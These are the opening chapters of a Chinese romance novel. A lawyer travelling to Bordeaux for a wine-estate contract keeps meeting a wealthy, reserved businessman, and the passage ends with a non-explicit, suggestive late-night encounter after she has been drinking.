《灰色焰火》
1. 第 1 章
杨珞在机场昏昏睡睡了近半个小时才听到登机的广播,她揉了揉眼,慢悠悠的拖着箱子去排队。
手机上几条微信,杨珞一条条回复。
先是律所张主任的,交代她和酒庄对接之前再把合同好好过一遍。然后是唐亭,让她注意安全,到了报平安。
杨珞发完最后一条消息,疲惫地垂下胳膊,往玻璃墙外遥遥看了一眼。夕阳西下,金黄色染遍天空。狂野而寂寥。
她的脚步随着队伍往前走,心底却沉沉的,嘈杂的人群让她觉得分外孤单。
一个小男孩从杨珞身边跑过,撞掉她的手机。严厉的声音从身后响起,母亲训斥着孩子的顽皮。
却无人向她道歉。
杨珞无心计较,缓缓蹲下身子捡起手机,大条的在牛仔裤上蹭了两下装进兜里。
杨珞拿着登机牌慢悠悠的找自己的位置,却看到上面坐着一个小孩,好巧不巧,就是刚才碰掉她手机的小男孩。
她仔细确认了一下,确实是自己的位置。
“不好意思,我是靠窗的位置。”
男孩妈妈热情的凑过来:“小姑娘,我儿子第一次坐飞机,想坐窗边,你就跟他换一下嘛。”
杨珞的目光在母子两人身上定睛一秒,微笑:“不好意思,我不太想换,您下次可以早点值机。”
女人沉下脸:“我看你是经常坐飞机的样子,你就坐边上一次,反正都是飞一样的地方,他非要坐窗边,我也劝不动他啊。”
小男孩一脸傲慢的看着杨珞,纹丝不动。
杨珞没有再同这母子俩废话,她坐的经济舱靠前,直接抬手叫来空姐,简单说明后,空姐便笑意盈盈的上前交涉。
具体的交涉内容杨珞没心思听,侧身站着,片刻后空姐才过来回复:“不好意思女士,您现在可以入座了。”
女人很不情愿的把孩子抱回中间的座位,朝杨珞翻了个白眼。杨珞没理,径直走进去。她带上眼罩准备休息一下,又听到女人阴阳怪气的声音:“带个眼罩坐哪儿不一样,非要占别人的位置,现在的年轻人真是自私。”
杨珞皱眉,转念一想争起来又没完没了,索性不理睬。
起飞后安静了一阵,杨珞在万分疲惫中进入了梦乡,可一会儿就被哭闹声吵醒。原来是小男孩探着头往外看,又被安全带绑着,不自在,这才大哭起来。旁边的女人任他哭闹,不哄也不管,存心让杨珞难受。
杨珞摘下眼罩,语气已经不快:“这位女士,哄一下你的孩子吧,这样哭下去全飞机的人都休息不好。”
女人不看她,慢悠悠的扣着指甲,语气轻蔑讽刺:“我倒想哄他,他要闹着看云彩,有人又不让位置,我有什么办法。你有本事,你让他别哭啊。”
杨珞心里窝火,定了一秒,目光落在小男孩身上,他怒目圆瞪的盯着杨珞,一副招人讨厌的样子。
杨珞微微一笑,凑到小男孩耳边,恶狠狠道:“你要是再哭,我就把窗户打开,把扔你下去喂鸟。”
四五岁的小孩子还是不经吓,立刻就被唬住了,眼神里透出害怕,顿时禁了声。
可那女人见杨珞说这种话,又发疯般闹了起来:“你这人怎么这么恶毒!他还是个孩子,你这么吓唬他以后不敢上飞机怎么办?!”
此时轮不着杨珞说话,旁边的乘客已经忍无可忍了,接二连三的出言指责女人。
这女人也不是善茬,你一言我一语的就吵起来。原本安安静静的机舱内顿时变成了菜市场。
广播里传来空姐劝架的声音,可哪有人听她的。
直到另一位年纪稍大些的空姐快步走到这边,先抚慰了其他乘客的情绪,又对闹事的女人温柔道:“这位女士,您是想要一个靠窗的位置是吗?经济舱已经满座了,但是前面商务舱一位男士愿意和您换,他旁边刚好还有一个空位,您和您的孩子都可以过去。但是希望您可以照顾好孩子,不要打扰其他乘客休息。”
女人一听有商务舱,眼睛顿时亮的发光,连忙去解安全带:“好的好的,可以换,谢谢他,我们现在就过去,别哭了!快走!”
空姐带他们离开,又带有歉意的向杨珞聚了个躬。
杨珞回以礼貌的笑容,而后疲惫的缩回座位,看了眼窗外昏暗的天空,重新带上眼罩准备入睡。
很快,杨珞听到空姐带了一个人过来。
“陆先生,实在抱歉,给您添麻烦了,您请入座。”
“嗯。”
男人的声音低沉醇厚,带着漫不经心的随意。
杨珞闭着眼,其他五感就被无限放大了。她感受到身边的座椅轻轻震动了一下,而后再也没了动静。男人坐下后十分安静,即便从商务舱屈尊降贵到经济舱,也没有表现出任何的不适。
再然后,杨珞闻到了一阵男士香水味。
不似市面上常见的大众款,而是透着一股干净的清香。
味道极淡,这不是刻意喷上去的,是高端衣物被护理的时候留下的气味。
杨珞酝酿了半晌,左右睡不着了,便摘下眼罩,调整座椅后朝另一侧看了一眼。
她不由得被惊艳一瞬。
男人低着头,正在手机上打字,肃穆而硬朗的侧颜,只露出半张脸,却难掩硬秀。他身着黑色西装,纹理低调的镌刻在布料之上,一股呼之欲出的贵气。
经济舱的座位狭小逼仄,与他周身的气质全然不符,可他坐的随性,似乎丝毫不在意这些无关紧要的环境。
自他坐到这里开始,机舱又恢复了宁静。杨珞想了想,轻声道:“谢谢您解围。”
“不客气。”
男人似乎不愿分心,随口答了,目光却没有从手机上移开,他似乎在专注什么事情。声音礼貌和疏远,连头都没有抬。
杨珞不再打扰,从背包里拿了本闲书来看,不到二十页的功夫,又睡过去了。
落地广州时她才迷迷糊糊醒来,彼时乘客已经陆陆续续的下飞机,旁边的男人早已不见踪影。杨珞揉了揉眼睛,打开手机去看转机的信息。
飞往波尔多的航班夜里一点出发,她去机场便利店买了些吃的,坐在玻璃墙前看着深夜里急匆匆的客人。
这是她第二次去波尔多,上一次还是四年前,也是这一家便利店,只不过物是人非。
那一次吃的自热米饭已经不生产了,那一次陪在她身边的陈桥也不在了。
正伤神时,唐亭的电话来了。
“杨珞啊,你知道我看见谁了?”
声音醉醺醺的。
杨珞:“电视柜左边第一个抽屉里有醒酒药,我给你放在最外面了。茶几上有蜂蜜,你还能动吗,自己冲一杯蜂蜜水喝。”
唐亭笑道:“好。”
杨珞听她那边咚咚锵锵一顿声音,终于大口喝起了水。
杨珞:“你这几天本来犯胃病,少喝点酒。”
唐亭:“我见到林纪泽了。”
杨珞心里咯噔一下,空调冷风吹过,起了一身鸡皮疙瘩。
唐亭开始说醉话:“他怎么从港城到西京来了?他还追着你不放,这个畜生,他什么时候能放过你?”
杨珞顿了片刻:“你醉了,快上床去吧。”
唐亭的声音有些乌咽:“珞珞啊,我害怕,你要怎么办……我想救你。”
唐亭在宿醉中睡去,直到听到她平稳的呼吸声,杨珞才挂了电话。
她发呆的望着窗外,无助又迷茫。
谁能救我?
杨珞低头苦笑,沉默片刻,又开始埋头大口吃饭。
从广州到波尔多飞了许久,此时正逢雨季,出了机场便打了个寒颤。杨珞裹紧了自己的薄外套,把背包跨的更紧了些,提着箱子站在街边打车。
天色已晚,出机场的人也多,杨珞等了二十分钟才拦到的士。
车厢里一阵暖意,司机师傅透过透视镜看了眼杨珞,询问道是来这儿旅游的吗?
许是看杨珞是亚洲人,司机用的英语。
杨珞微微一
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笑,用标准的法语回答他:“来出差。”
司机一怔,随着她笑了起来。
酒店定在了奥图酒庄附近,这是一个国内酒店代理的案子,因为葡萄酒供应问题双方产生了纠纷,此行杨珞就是代表酒店来同酒庄谈相关法律事宜的。
杨珞刚下的士就有酒店的侍者帮她搬运行李,在陪同下去前台拿了房卡,一切手续办完,杨珞尊重当地习俗给侍者一些小费,道谢后便准备上楼。
好巧不巧,在转身时意外瞥见一道身影。
出游淡季,黑发的黄种人异常夺目,虽然只是见过他的侧脸,但杨珞还是一眼认出了那个在飞机上施以善意的男人。
杨珞的脚步顿了一下,正好看到他正在同门口的侍者交涉,但似乎语言不通,那侍者还冲他打着手势。侍者将行李递给他,在一旁期待的等候着,可男人却没反应过来,直到他瞥见旁边一位女士递给侍者小费,他才反应过来,伸手去兜里摸索,可有些窘迫,他显然没带欧元。
尴尬之间,杨珞走上前去,递给侍者一张纸币,并代为道谢。侍者满意的离开,并祝他们游玩愉快。
杨珞转过身去,这才见到男人真真切切的面容。
“先生,好巧啊。”
男人目光中显然是有些疑惑。
杨珞解释道:“从西京去广州的飞机上,您换了座位,坐在我旁边。谢谢您解围。”
男人这才反应过来,目光在杨珞脸上流连一瞬,淡笑道:“不用客气。也谢谢你。一会儿把钱给你。”
杨珞摆了摆手:“不碍事的,异国他乡,我们同胞应该互相帮助的。”
而后她主动伸手:“正式认识一下,我是杨珞。”
男人细细的打量了一下眼前的女人,简单,坦然。
他伸出手轻握了一下:“陆淮。”
握手的一瞬,杨珞感觉到男人手指的力度,不轻不重,绅士得体,有着独属于男人的粗糙感。再仔细看他,并不是多么精致无暇的长相,但却诠释着东方男人端正的英俊。举手投足间散发的气质,更带着老派的绅士感和藏在他礼貌疏离下的神秘。
本就是萍水相逢,杨珞做的礼节做完,也无需再继续攀谈。她刚要走,见门口一个穿西装的男人小跑过来,头发上还淋着雨渍。
他跑到陆淮身边,低声道:“先生,都办完了。”
说完才注意到陆淮身边的杨珞。
陆淮点头,而后问他:“带钱了吗?”
程进一愣:“啊,带了。”
叫程进的男人伸手就往内口袋去掏自己的皮夹
杨珞却退后两步,不等他拿出来,便连连摆手:“陆先生,您太客气了。时间不早了,我先回房间了,您也早点休息。”
说完她便拉着行李离开了。也不是什么大钱,陆淮见她不要,也没有强拦。
程进的目光在杨珞的背影上停了一瞬,接过陆淮的行李,而后引路:“走吧。”
陆淮跟着他离开大厅,途中问:“酒庄这边联系的怎么样?”
程进:“都在计划中,还算顺利。”
陆淮点了点头,不再说话。
程进又问:“您来程还顺利吗?”
陆淮:“还行。”
杨珞回到房间收拾了一番,给唐亭发了个消息。唐亭很快发来几张房间的照片,杨珞点开看了一下,都是按照自己的喜好布置的。
这是唐亭在西京新买的房子,专门给她留了个房间,等她从波尔多回去,两人就算过上同居生活。
杨珞盯着房间里特意为她选的米色窗帘,脸上浮起了浅浅的笑意
在她灰暗的生活里,唐亭是她为数不多的安慰。
两人又闲聊了几句,洗漱过后,杨珞联系了当年在法国留学时寄宿的家庭,那是一对五十多岁的夫妇,时隔四年再次回来,杨珞准备再去拜访他们一趟。
费尔先生收到她的消息十分惊喜,杨珞很快就收到了回复。
“Wee!”
2. 第 2 章
珞特地画了个显气色的妆,挑了件红裙子,让自己看起来有些朝气。
波尔多的城市不比中国拥挤,费尔夫妇住的院子靠近乡下,杨珞提着礼物在路边站了许久才看到费尔先生的小卡车。车子发出陈旧的轰轰声,走近些夹杂着费尔先生热情的招呼。
几年未见,费尔先生胖了许多,他下车拿着小汗巾擦拭额头的汗珠,热情的同杨珞拥抱,片刻后才问道:“你一个人来的吗?”
杨珞:“对,这次刚好来波尔多出差。”
费尔太太做了一桌子的菜,热情的招待了杨珞,询问她这些年在回国后过的怎么样。得知她现在已经成了知名律所的执业律师,朝她竖起大拇指。
“我就知道你可以的,当年你和陈来这里留学,我就觉得你很优秀。比我之前接待过的那些留学生都要优秀。”
数大拇指表示夸奖的习俗还是当年杨珞告诉费尔夫妇的,没想到这么多年他们也没忘记。
酒足饭饱后费尔先生起身,从箱子里面找出一个小相框,里面是四个人的合影。
“你看,我还留着这个,当年你还是个小姑娘。”
照片上是费尔夫妇,还有当年的自己和陈桥。那时的杨珞笑的像太阳,素面朝天,没有如今的精致美丽,可浑身都洋溢着未经雕琢的朝气。
她亲昵的依偎在陈桥肩膀上,倒是陈桥显得有些羞涩。
杨珞的目光从照片上移开,别过头去掩饰眼底的落寞,费尔先生追问:“陈呢?他现在留在港城了吗?”
杨珞:“我们分开了。”
极为平淡的语气,费尔先生愣了一下,莞尔一笑:“年轻人的爱情,总是难以预料。”
在费尔先生眼里,不过是一对年轻恋人的分分合合,杨珞也并没有解释任何,她在费尔先生家里呆到傍晚,帮他给花园里的花松了土浇了水才走。
到了城区时已经是晚上,杨珞没有直接打车到酒店,而是临近下了车,在浓情的法国街道逛了逛。她喜欢这种闲散的、什么都不用想的感觉。杨珞被路边跳舞的青年邀请,美好的东西升温在空气里,杨珞笨手笨脚的被他们带着,笑声张扬而轻快。
至少她很久没这么快乐过了。
回酒店的路她走的肆意轻快,后面索性将累脚的高跟鞋提到手里,酒店门口几辆车停下,多了许多人。
旋转门人来人往,她往前跑了几步挤进去,刚送了一口气,余光却看到一个熟悉的身影。
几乎是一瞬间,正打着电话的陆淮也看到了身侧的杨珞。两人隔着一扇玻璃门,短短一瞬的目光交错。
他谈公事的表情威严肃穆,但杨珞脸上此时却是掩不住的雀跃。
她跑的太快了,根本来不及停下好好打招呼,只在回头的一瞬间冲他挥了挥手。
“嗨!”
擦肩而过,没等陆淮有所反应,杨珞就已经跑开了。他的目光掠过她一闪而过的红裙,又不动声色的收回,心思回到手中的电话上。
“你继续。”
次日,杨珞如约来到酒庄。波尔多的酒庄数不胜数,她来的这家虽不算龙头,但也是国际知名度不错的。她的委托人是一家国内的五星级酒店,一直是这家酒庄为他们提供高档红酒,但上一批货中存在质量问题,两方一直就赔偿谈不拢,好容易协商的大差不差,酒庄的态度却不甚明朗。于是杨珞就被派来做最后签署工作,审查法律条款。
奥图酒庄面积很大,杨珞从入口进去,放眼望去就看到了一片分区域的葡萄园和几座酿酒车间。说来也巧,杨珞并不是第一次来,当年在法国留学时学校组织参观,她有幸来过一次,这个酒庄后面还有一大片马场,她和陈桥还在这里骑过马。
喜欢骑马是她打小的爱好,骑术虽不算专业,但是自娱自乐绝对足够了。那时陈桥连马背都没上过,她还在一旁揶揄他,惹得陈桥弹她脑瓜。
接待杨珞的奥图酒庄的园长,年纪五十岁上下,是个慈祥的中年人。杨珞比约定时间到的早些,这个国家没有加班的概念,法务的人还没来。园长了解她的来意,这事情虽不属他负责,但也热情招待了她。
简单转了转,等时间差不多了,园长便带杨珞到了正式的会客厅,叫人给她拿了咖啡和点心,让她稍等,他去叫这次签署合同的负责人。
杨珞独自坐在会客厅里,这地方十分壮观,这里是老派的贵族欧洲式建筑,按照园长和她所讲的酒庄历史,这栋建筑也应当有些年头。
正当她环顾四周,悠哉欣赏时,突然有人叫了她一声。
“杨小姐?”
一个熟悉的中国男人的声音。
杨珞回头,只见陆淮就站在她侧后方。
这次轮到陆淮发笑:“好巧。”
杨珞亦是惊讶:“陆先生,你也在这里?”
陆淮:“对,我来办点事儿。”
陆淮的身影叠在一个金色的罗马柱前,黑色暗纹西装比昨夜旋转门处的轻轻一瞥更透出几分矜贵。他若隐若无散出的气质,和这奢华肃古的建筑十分契合。
好像每次见他,都是一副西装革履,一本正经的装扮,她隐约猜到这人来法国不是纯粹的游玩。这次他身边站的人已经不是在酒店的青年,看样子更像个职业翻译。
杨珞走上前去:“我也是来工作的。”
她今天一身职业装,踩着尖细的高跟鞋,比那日更显高些,站在陆淮面前似乎也多了几分气势。
两人顺理成章的坐下攀谈了几句,杨珞说明自己来这里要处理代理的案子,陆淮并未多问,他也只简单说自己来谈点事情,但更多的也不愿透露。
神秘的男人,杨珞自然不会追问。
陆淮:“来多久?”
杨珞:“四五天吧,看今天谈的顺不顺,你呢?”
陆淮:“差不多,得看进度。”
他说着,看了看窗外如画般的风景。多数男人在陌生美女面前总有些拘束,可他不是,这个男人司空见惯,举手投足透着闲适,却又礼貌的叫人挑不出毛病。
陆淮忽的回头,对上杨珞打量自己的眼睛,许是在心里揣摩对方显得心虚,杨珞慌了一下,别开目光。
陆淮倒是轻笑道:“杨小姐今天很干练,一定能势如破竹。”
在酒店大厅她主动攀谈时,端庄大方。昨晚擦肩而过时,明媚动人。此刻眼前的杨珞,又多了几分干练严谨。
匆匆几面,竟都给他留下了印象
杨珞垂眸微笑:“借您吉言。”
法务负责人出来,请杨珞进去。她与陆淮告别,便进了办公室。
真是借了陆淮的好话,今天的合同谈的格外顺利。本身国内高档红酒崛起就对进口红酒造成了冲击。杨珞的委托酒店说愿意如果能协商好赔偿事宜,愿意再续约两年。最后双方也是各退一步,还是签了。
签完字那一刻,杨珞长长的舒一口气。很好,又一笔律师费到账了。
她再出去已经过了将近两个小时了,却发现陆淮还没走,正在会客厅的沙发上和园长说着什么。只是一眼,她判断出陆淮的身份并不简单。那位园长在她面前虽没什么架子,平易近人。但此刻坐在陆淮对面,明显有些拘谨,不乏对这个男人的尊重。
而陆淮背对着杨珞,交叠着双腿,听着身边人的翻译,时不时点点头,虽是背影,依旧能看出一副轻松随性的样子。
园长看到杨珞出来,向陆淮微微示意,短暂中断了他们的谈话,起身前来和她打招呼,陆淮回头,而后也顺道站了起来。
陆淮先开口:“顺利吗?”
杨珞的表情已经藏不住:“非常!”
两人用中文说了几句话,园长发现他们认识,而后自然的说:“我刚要带陆先生去参观酒庄的葡萄园,既然你们是朋友,不如一起吧?”
杨珞当下便听懂了,可是陆淮还要等人翻译,所以她并没有马上应下来,只是微笑着。陆淮听身边人翻译完,看着眼前不做声的女人,问:“有幸一起吗?”
杨珞这才点头,对园长说:“好,谢谢二位邀请。”
陆淮又问:“你会法语?”
杨珞点了点头,陆淮便朝身边的翻译看了一眼,那人很快明白,没有跟过去。
既然邀请了杨珞,不好丢下她自顾谈公事。
奥图酒庄的葡萄园分好几个区域,依据土质和深润度等的不同,结出的葡萄用来酿造不同的酒。
酒庄里的葡萄颗粒饱满,他们一路边逛边聊,杨珞在中间充当翻译。看得出园长很谨慎,闭口不提二人的私事。倒是陆淮坦荡随性,提到了他母亲当年在这里亲手酿过一桶酒,但是因为手艺不佳,最后酿成了醋。随后三人笑声错落,园长感慨难怪他对这里势在必得。
杨珞边听边翻译,大概也听明白了。
这个酒庄很快就要被眼前的男人收购了。
但收购不影响酒庄和国内酒店的合同,她出于礼貌,一个字都没有多问。
途中园长随手摘了新鲜的葡萄递给陆淮和杨珞,二人不拘小节的品尝,味道十分不错,杨珞自己又摘了一颗,似乎熟的太过,摸起来
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弹弹软软的,汁水饱满,一不小心就捏爆了。
葡萄汁不偏不倚的溅到陆淮的白色衬衣上。
杨珞一脸尴尬,有些不知所措的看着陆淮,陆淮顺着她的目光看到自己胸前的一片紫红。
“对不起……”
园长也看到了,有些哭笑不得。陆淮瞧了眼杨珞,指了指胸前的污渍,转头对园长笑道:“看来这里的葡萄很欢迎我。”
一句玩笑话,这事儿便巧妙的过去了。
陆淮对红酒的造诣也很高。园长只让他尝了一颗葡萄,他便说出了最适合酿造的红酒品种、最佳度数,甚至品出了当季降雨量不够。而杨珞自己却对红酒一窍不通,园长让她尝完后,她便玩笑的把陆淮说过的话重复一遍。
园长听了一愣,哈哈大笑起来,说:“你是真的不懂。”
杨珞也随着笑起来,目光一转,却见到陆淮也勾着唇淡笑。
“你笑什么呢?你又听不懂我说什么。”
陆淮淡淡瞧她一眼,说:“鹦鹉学舌,听不懂也算听懂了。”
经过刚浇过水的泥泞地,陆淮和园长走在前头,杨珞刚踩进去一脚,高跟鞋就往里陷了一下。她正不知所措,前方就伸来一只手。
她抬头,看陆淮还目不转睛的盯着园长,似是漫不经心的将胳膊作拐杖递给她。
杨珞借着他手掌的力走完了这几十米。或许路太难走,她竟累的心跳加速。
从葡萄园出来,陆淮的翻译已经等在出口,他还有事没谈完,杨珞就先离开了。
回到酒店后她先去了一趟前台。
“请您帮我查一下一位中国籍陆先生的入住,入住时间是前天晚上,麻烦您晚上的时候将他的衣服拿过去专门清洗一下,费用记在我这里。”
前台热情的应允下来。
休息一晚,第二天杨珞又去了酒庄一趟,但这次的事情就简单的多,她吃了午饭过来,下午就把剩下的合同事宜处理完了。
杨珞仔仔细细确认了一遍,最后在文件上盖了公章。
园长也出席了,杨珞同他们挨个握手,庆祝合作事宜达成。
往外走闲聊之际,杨珞问起:“我几年前在法国留学时来过这里,那时候庄园里还有一个马场,现在还在吗?”
园长:“当然在,现在的马场比那时候还要漂亮,要不要再去骑两圈?”
杨珞喜出望外:“可以吗?”
园长做了个邀请的手势:“当然可以。”
杨珞到了马场,与她记忆中的样子重叠起来。只不过修建的更好了。她选了一匹棕色的骏马,在近处试骑了两圈,很快熟悉,冲旁边的园长比了个谢谢的手势。
园长回了手势,意思是他先离开,还有事儿。
这里的马场不像国内的风景区,狭小逼仄,栅栏围着还死贵。满地都是青青草原,外围插了两面旗子,算是划了边界,但是没有栏杆煞风景。
杨珞一开始还规规矩矩,在旗子里面骑了几圈,而后赶上落日,片片红霞落在绿盈盈的草地上,映出微微水光。她不禁停了下来,朝夕阳的方向望过去。大自然鬼斧神工,在这样开阔的景色中,再憋闷的心也变得敞亮起来。
杨珞迎着夕阳飞奔过去,快马飞驰,落在身后的是一桩桩一件件她不愿想起的事。
陆淮同酒庄经理来到马场时,便看到一个女人同棕马飞驰的身姿。迎着阳光,他眯眼看清了杨珞。
经理也望过去,语气却有些担忧:“她骑出去了。这样有点危险。”
陆淮的思绪被拉回来,只见经理看着杨珞渐行渐远的方向。身旁的翻译转达了经理的意思,陆淮问:“那边有什么?”
经理:“最近雨水太多,那边的土质太松散,马不好跑,可能会陷进去。我还是找人把她追回来吧。”
经理转身要走,被陆淮叫住。
“我去吧。”
陆淮上马追过去的时候才发现杨珞的速度真快,少有女人骑马这么野。这种肆意奔驰的感觉甚至感染了陆淮,他并未在身后呼喊,只是飞速的追赶她。
杨珞有些忘我,直到陆淮离的很近时,她才察觉有人跟过来了。她缓缓停了下来,回过头来,恰巧看到陆淮勒了缰绳,烈马前蹄翘起,他面不改色的驯服。
他的西装本不适合骑马,可偏偏是这身禁锢的装扮,又如此高大雄伟的坐立在骏马之上。反倒显出一股叫人臣服的气派来。
四目相对的一刻,陆淮微微蹙眉。
杨珞脸上明明是酣畅淋漓的痛快,却布满了泪痕。
3. 第 3 章
杨珞从回忆中抽神回来,并未注意到自己早已泪流满面,只是茫然的看着眼前的陆淮,不知道他怎么会过来。
陆淮一言不发,单手牵着缰绳,骏马一步步往她的方向走。
“这几天一直下雨,越往外走泥土越软。”
杨珞闻言低头,马蹄上已经全是沾染的软泥。
她有些抱歉的笑了笑:“对不起,我是看这儿风景太好了,一下子没忍住。”
泪痕干在她脸上,搭上这谨小慎微的笑意,显出一副楚楚可怜的样子。
陆淮尽收眼底,掉转了马的方向:“回去吧,天快黑了。”
杨珞嗯了一声,跟在他后面。走了片刻,她才又想起道谢。
“谢谢你。”
陆淮:“不用谢我,是酒庄的人让我来追的,你出了事儿可是要给人家惹祸的。”
杨珞长长叹一口气。
“真抱歉,我只是……”
只是太压抑了,只是太憋闷了,只是有一刻想不管不顾的冲出一切桎梏。
陆淮转头看她,只见她像蔫儿了的茄子,垂着脑袋,晚风把她绑着的头发吹的凌乱。
陆淮突然抬手,在她的马屁股后面很抽一下,马儿一惊,跑了起来。
杨珞被吓得勒紧缰绳,瞪大眼睛转头看他。
陆淮悠哉道:“你不是跑的很快吗?”
杨珞的表情微微呆滞,手里的缰绳也松了松。
马儿飞奔起来,似乎把她低落的心也带起来了。她不再自怨自艾,开始策马回程。
陆淮看着她潇洒的背影,也疾驰跟了过去。
两人从马场出来时天色已经暗了下来。
经理在一旁等着,看到杨珞脸上明显被泪痕弄花的妆容时大吃一惊。
“天啊,你怎么能弄哭她呢?她只是跑的远点而已。”
陆淮和杨珞皆是一愣。杨珞立马伸手去摸自己的脸,她根本没意识到自己哭过。
陆淮听过翻译后,笑着摇头:“不是我,或许另有其人。”
离开酒庄的时候天色已晚,他们一同向园长告了别,杨珞刚想着怎么回去,陆淮便问:“回酒店?”
杨珞点头。
“走,顺路送你。”
杨珞心中一喜,那感情好。她同陆淮和他的翻译一起走出去,已经有一辆车在门口等着,车前站着一个男人,杨珞认出是那天在酒店时站在陆淮身边的青年。
程进自然也认出了杨珞,对她微微颔首,没问也没说话,自然的帮她拉开车门。
杨珞同陆淮坐在后面,两人第一次近距离呆在密闭空间里,杨珞忽然有些紧张。她不擅长破冰,也不擅长找话题。
幸好,陆淮很快接到了一通电话。对年似乎在和他汇报什么事情,他时不时回应一下。电话打完,车里一股沉沉的寂静。杨珞没有刻意搭话,乖巧坐着,打量着手中的这瓶白葡萄酒。
临走前园长给她和陆淮都送了一瓶酒,当作礼物,她虽看得懂文字,却分不出好坏。
陆淮忽然开口:“这个酒庄少有白葡萄酒,白葡萄酒味道偏甜,适合不经常喝酒的人,口感更能接受。”
陆淮此刻正靠在座椅上看她,双手随意的交叉在腿前。杨珞朝他看了过去,对上他沉静幽深的目光,杨珞躲闪一下,别过头去,装作若无其事的看了看车窗外,又下起了小雨。
“那正好,这个天气正适合喝酒。”
那位翻译到到中途便下车了,程进把两人送到酒店,似乎还有别的事情要办,也先行离开了。
杨珞和陆淮住在同一个区,两人一起等电梯,金黄色的镜面照出二人的身影,居然有些相配。只不过这个男人的气质太过成熟,到显得自己有些稚嫩。
他多大了?杨珞透着镜子偷偷打量,三十?还是三十五?总不能是四十吧。
“看什么呢?”
陆淮捕捉到她的目光,杨珞赶紧打圆场:“哦,我瞧您……挺年轻的。”
陆淮眯了眯眼睛。杨珞就差没把“反话”两个字儿写脸上了,陆淮也没计较,无声扯了下嘴角。
电梯到了,四五个人陆续下来,就要关时,陆淮伸手挡住了门,而后朝杨珞抬了抬下巴,示意她进去。
陆淮紧随其后,按了两个楼层。
杨珞:“您怎么知道我住哪儿。”
陆淮:“昨天不是你叫人来洗的衣服吗?记到1681账上。”
杨珞了然:“衣服洗好了吗?干净吗?”
陆淮:“还行。”
他压根没叫人洗,回来那件衬衫就丢了。
杨珞点了点头:“那就好。”
回到房间,杨珞拿出手机,几条未读消息中她看到一个陌生短信。点开的那一瞬间,她僵在原地。
“我回来了,西京见。”
没有署名,但这狂妄霸道的语气,杨珞不可能不知道是谁。
条件反射般删掉短信,将手机扔到一边。她心里顿时升起浓烈的情绪,是恨意,是无助,是恶心。
杨珞在穿上呆坐了一阵,又起来烦躁的踱步。徘徊片刻终于冷静下来,杨珞瞥到被放在桌边的葡萄酒。
她找酒店要了开瓶器和杯子,倒了半杯下肚。如陆淮所说,白葡萄酒的味道更轻缓些,还有丝丝甜味。
杨珞的酒量并不好,所以在外也很少喝酒。可她今天丝毫不想克制,她安分守己的人生没有换来丝毫上天的怜悯,反倒一次次把她推进不可反抗的深渊。
她又豪饮了半杯,不禁苦笑。人生到这个地步,不是苦难就是无趣。
真累啊。
察觉到自己已经醉了,杨珞放下酒杯,想趁着自己彻底晕睡过去之前洗个澡。酒意弥漫上来,她不敢多泡,简单冲洗了一下就出来,浑身轻快了许多。
等收拾妥当,她又重新拿起酒杯,席地而坐,就这么自己喝,想要醉个痛快。等大半瓶下肚,人也已经恍惚了。
真好,趁着醉意睡过去也不错,至少不用受失眠之苦。
正当她准备上床时,门铃突然响了。
她已经丧失了防备之心,以为是服务生送东西,起身过去,连鞋也没穿,开门却看到陆淮站在面前。
门开带起一阵风,吹乱了陆淮额前的碎发,和杨珞身上轻薄的丝裙。
一瞬间两人都怔了一下,她一身丝绸吊带睡衣,面色绯红,裙摆只到大腿根部,还因为那阵风掀开了一角。再往上,胸口大片雪白,杨珞连胸衣都没穿,隐隐看到光滑绸布下的两颗小珍珠。
陆淮将一切尽收眼底,又面不改色的将目光移到她脸上。
杨珞明显醉了,她愣了好久才把眼前的信息传到大脑,认出这是陆淮来。他终于换下了笔挺的西装,一身灰色的休闲体恤,隐隐约约看到紧致的肌肉轮廓。
杨珞强迫自己清醒几分,疑惑的看着陆淮。
他说明来意:“我的翻译不在这里,想请你帮我问服务生要一个开瓶器。”
杨珞回过神来,点了点头。
“我这儿有。”
她转身回屋去拿自己的那个,开瓶器被她碰到了地上,弯腰找了找,似乎在桌底。她赤着脚蹲跪下来,俯身伸手去桌低摸索。
陆淮站在门口,映入眼底的景色有些难以忽视。
杨珞屋里的睡眠灯朦胧,淡粉色的真丝几乎与她的肤色融为一体,远远看着叫人遐想连篇。
还不止如此。她伏在地下,折叠又蜿蜒的弧度,散了一背的黑发,混杂着酒香冲出房间,又轻飘飘的萦绕在门口的陆淮周身。
陆淮面不改的盯着,片刻后收回目光,安静的等待。
杨珞终于摸到,而后缓缓起身,踉跄着走到门口把开瓶器拿给他。
陆淮道谢后,目光在她脸上停留一瞬,说:“那酒度数不高,不过也别上头了。”
杨珞倚在门口,盯着他,不说话。
小姑娘白日端庄大方,几杯酒下肚,像是壮了胆子。
对视几秒,陆淮低声笑了下,转身离去。
“陆先生。”
她叫住他,男人回头。
“要不要一起喝点?”
此时陆淮彻底转过身来,成年人之间的暗示总是既隐晦又直白。他没有立刻回答,而是盯着杨珞,眼神缓缓下移,到她的胸前,到她的双腿,再到她光着的脚。到了最低点,又不急不慢的看上去,重新对上她的眼睛。
恍惚之间,杨珞以为自己看错了。此刻的陆淮和白日那个绅士贵公子有着天壤之别,像是夜幕降临,换上了另一层皮。他目光不再君子,变得毫不掩饰,似乎是一种明晃晃的警告。
杨珞的呼吸随着他的打量变得急促,身子也站不稳了。她强撑着仅有的气势,在对视之间才没有闪躲。
陆淮开口问她:“还能喝吗?”
杨珞的醉意已然透在举手投足之间,只怕脑子也不够清醒。
可杨珞只是晕了,却没有丧失理智。
她知道自己在干什么。
她甚至知道自己在沉沦,在放纵。
可那又如何?
凭什么坏事只能别人做。
杨珞“还能喝一点。”
陆淮了然于心,透过杨珞看了眼屋里空掉的瓶子,说:“你的酒没了,我的酒在上面。”
杨珞没有回答他,只是转身回去,但门却没关。陆淮饶有兴致的靠在墙上,片刻后见她出来,身上多穿了一件披衫。
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杨珞静静地跟在陆淮身后,两人一路无话。
陆淮的房间在顶层,极尽奢华的套房。
杨珞将鞋脱在玄关处,赤脚踩在羊毛地毯上。她进屋环顾一周,很快便被那扇巨大的落地窗吸引了。
杨珞趴在窗子上,口中的哈气弄了一层薄薄的雾出来,透着星星点点的水珠,窗外的景色朦胧暧昧。
陆淮开了酒,拿着杯子走到她身边,瞧见她的样子像小孩儿偷窥着玩具。
“好玩儿?”
杨珞转过身来,懒洋洋道:“贵的东西都好玩。”
陆淮:“那你瞧这屋什么最贵,给你玩儿玩儿?”
许是酒意让她放肆了许多,她倚靠在窗前,目光肆无忌惮的在房间里打量一周,最后落在陆淮身上。
你最贵。
她没有说出来,但陆淮看懂了。
他没有作声,微微勾了勾唇角,他的手指轻轻摩擦着酒瓶,目光肆无忌惮的落在她身上。
